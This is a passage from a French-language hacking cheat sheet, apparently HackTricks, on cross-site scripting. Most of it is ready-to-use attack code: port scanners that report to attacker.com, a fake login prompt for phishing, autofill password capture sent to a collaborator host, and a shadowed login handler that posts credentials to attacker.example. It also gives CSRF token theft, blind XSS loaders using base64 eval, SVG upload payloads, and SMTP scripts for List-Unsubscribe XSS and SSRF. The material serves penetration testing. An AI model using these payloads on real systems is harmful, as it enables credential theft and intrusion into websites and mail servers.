setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Des temps courts indiquent que le port répond Des temps plus longs indiquent l’absence de réponse.
Consultez la liste des ports bloqués dans Chrome here et dans Firefox here.
Boîte pour demander des credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Capture des mots de passe Auto-fill
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Si un handler critique (e.g., function DoLogin(){...}) est déclaré plus tard dans la page, et que votre payload s’exécute plus tôt (e.g., via un inline JS-in-JS sink), déclarez d’abord un const du même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas rebinder un nom const, laissant votre hook en contrôle :
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- Cela dépend de l’ordre d’exécution : votre injection doit s’exécuter avant la déclaration légitime.
- Si votre payload est encapsulé dans
eval(...), les déclarationsconst/letne deviendront pas globales. Utilisez la technique d’injection dynamique<script>de la section “Deliverable payloads with eval(atob()) and scope nuances” pour garantir une vraie variable globale, non réaffectable. - Lorsque des filtres de mots-clés bloquent le code, combinez avec des identifiants échappés en Unicode ou une livraison via
eval(atob('...')), comme montré ci-dessus.
Keylogger
En cherchant sur github, j’en ai trouvé plusieurs :
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Vous pouvez aussi utiliser metasploit
http_javascript_keylogger
Voler des tokens CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Voler les messages PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Chargeurs de script PostMessage-origin (opener-gated)
Si une page stocke event.origin provenant d’un postMessage et le concatène ensuite dans une URL de script, l’expéditeur contrôle l’origine du JS chargé :
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Recette d’exploitation (d’après CAPIG) :
- Gates: ne se déclenche que lorsque
window.openerexiste etpixel_idest allowlisted; origin is never checked. - Use CSP-allowed origin: pivoter vers un domaine déjà permis par la CSP de la victime (p.ex., pages d’aide pour utilisateurs non connectés autorisant analytics comme
*.THIRD-PARTY.com) et héberger/sdk/<pixel_id>/iwl.jslà-bas via takeover/XSS/upload. - Restore
opener: dans Android WebView,window.name='x'; window.open(target,'x')rend la page son propre opener ; envoyer lepostMessagemalveillant depuis un iframe détourné. - Trigger: l’iframe poste
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; le parent charge ensuite l’attackeriwl.jsdepuis le CSP-allowed origin et l’exécute.
Cela transforme la validation sans origin de postMessage en une remote script loader primitive qui survit au CSP si vous pouvez atterrir sur n’importe quel origin déjà autorisé par la policy.
Supply-chain stored XSS via backend JS concatenation
Quand un backend construit un SDK partagé en concaténant des chaînes JS avec des valeurs contrôlées par l’utilisateur, tout quote/structure breaker peut injecter du script qui sera servi à chaque consumer :
- Exemple de pattern (Meta CAPIG) : le serveur ajoute
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directement danscapig-events.js. - L’injection de
'ou"]}ferme la literal/object et ajoute attacker JS, créant une stored XSS dans le SDK distribué pour chaque site qui le charge (first-party et third-party).
Stored XSS in generated reports when escaping is disabled
Si des fichiers uploadés sont parsés et que leurs métadonnées sont imprimées dans des rapports HTML avec l’échappement désactivé (|safe, renderers personnalisés), ces métadonnées constituent un stored XSS sink. Exemple de flux :
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Un template Django affiche {{item|key:"title"|safe}}, donc attacker HTML s’exécute.
Exploit: placer entity-encoded HTML dans n’importe quel champ manifest/config qui atteint le rapport:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
Rendu avec |safe, le rapport affiche <img ...> et exécute du JS lors de l’affichage.
Hunting : recherchez des générateurs de rapports/notifications qui réutilisent des champs parsés dans des %s/f-strings et désactivent l’auto-escape. Une balise encodée dans un manifest/log/archive téléversé persiste comme XSS pour chaque visiteur.
Abuser des Service Workers
Accéder au Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Vous pouvez aussi utiliser : https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accéder au contenu caché
D’après this writeup on peut apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les retrouver dans des attributs JS d’objets différents. Par exemple, une entrée d’une REGEX peut encore être retrouvée après que la valeur de l’entrée de la regex a été supprimée :
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Liste de force brute
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS exploitant d’autres vulnérabilités
XSS dans Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
XSS vers SSRF
Vous avez un XSS sur un site qui utilise la mise en cache ? Essayez de l’élever en SSRF via Edge Side Include Injection avec ce payload :
<esi:include src="http://yoursite.com/capture" />
Utilisez-le pour contourner les restrictions sur les cookies, les filtres XSS et bien plus encore!
Plus d’information sur cette technique ici : XSLT.
XSS dans un PDF créé dynamiquement
Si une page web crée un PDF en utilisant des entrées contrôlées par l’utilisateur, vous pouvez tenter de tromper le bot qui génère le PDF pour qu’il exécute du code JS arbitraire.
Donc, si le bot créateur de PDF trouve une sorte de balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un Server XSS.
Si vous ne pouvez pas injecter des balises HTML, il peut être intéressant d’essayer d’injecter des données PDF :
XSS dans Amp4Email
AMP, destiné à accélérer les performances des pages web sur les appareils mobiles, utilise des balises HTML accompagnées de JavaScript pour assurer la fonctionnalité en mettant l’accent sur la vitesse et la sécurité. Il prend en charge une variété de composants pour différentes fonctionnalités, accessibles via AMP components.
Le format AMP for Email étend certains composants AMP aux emails, permettant aux destinataires d’interagir directement avec le contenu depuis leurs emails.
Exemple writeup XSS in Amp4Email in Gmail.
Abus de l’en-tête List-Unsubscribe (Webmail XSS & SSRF)
Le header RFC 2369 List-Unsubscribe contient des URIs contrôlées par l’attaquant que de nombreux clients webmail et clients mail convertissent automatiquement en boutons « Se désabonner ». Lorsque ces URI sont rendues ou récupérées sans validation, l’en-tête devient un point d’injection à la fois pour du stored XSS (si le lien de désinscription est placé dans le DOM) et pour SSRF (si le serveur exécute la requête de désinscription pour le compte de l’utilisateur).
Stored XSS via javascript: URIs
- Envoyez-vous un email où l’en-tête pointe vers une URI
javascript:tout en gardant le reste du message bénin afin que les filtres anti-spam ne l’écartent pas. - Vérifiez que l’UI affiche la valeur (de nombreux clients l’affichent dans un panneau “List Info”) et contrôlez si la balise
<a>résultante hérite d’attributs contrôlés par l’attaquant commehrefoutarget. - Déclenchez l’exécution (par ex. CTRL+click, clic du milieu, ou “open in new tab”) lorsque le lien utilise
target="_blank"; les navigateurs évalueront le JavaScript fourni dans l’origine de l’application webmail. - Observez le primitif stored-XSS : le payload persiste avec l’email et ne nécessite qu’un clic pour s’exécuter.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
L’octet de saut de ligne (%0a) dans l’URI montre que même les caractères inhabituels survivent au pipeline de rendu dans des clients vulnérables tels que Horde IMP H5, qui afficheront la chaîne telle quelle à l’intérieur de la balise d’ancrage.
SMTP PoC minimal qui délivre un en-tête List-Unsubscribe malveillant
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxies de désinscription côté serveur -> SSRF
Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.
1. **Rédiger un email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
2. **Conserver `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** pour que l'interface affiche un bouton de désinscription en un clic.
3. **Satisfaire les exigences de confiance** : Nextcloud, par exemple, n'effectue les requêtes HTTPS de désinscription que si le message passe DKIM, donc l'attaquant doit signer l'email avec un domaine qu'il contrôle.
4. **Livrer le message à une boîte mail traitée par le serveur cible** et attendre qu'un utilisateur clique sur le bouton de désinscription.
5. **Observer le callback côté serveur** at the collaborator endpoint, then pivot to internal addresses once the primitive is confirmed.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Message List-Unsubscribe signé DKIM pour les tests SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Notes de test**
- Use an OAST endpoint pour collecter les hits SSRF aveugles, puis adaptez l'URL `List-Unsubscribe` pour cibler `http://127.0.0.1:PORT`, les metadata services, ou d'autres hôtes internes une fois le primitive confirmé.
- Parce que l'unsubscribe helper réutilise souvent la même HTTP stack que l'application, vous héritez de ses proxy settings, des HTTP verbs et des header rewrites, ce qui permet d'autres techniques de traversal décrites dans la [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS upload de fichiers (svg)
Téléversez comme image un fichier similaire au suivant (depuis [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trouvez plus de payloads SVG dans https://github.com/allanlw/svg-cheatsheet
Astuces JS diverses & Infos pertinentes
Misc JS Tricks & Relevant Info
Ressources XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Références
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


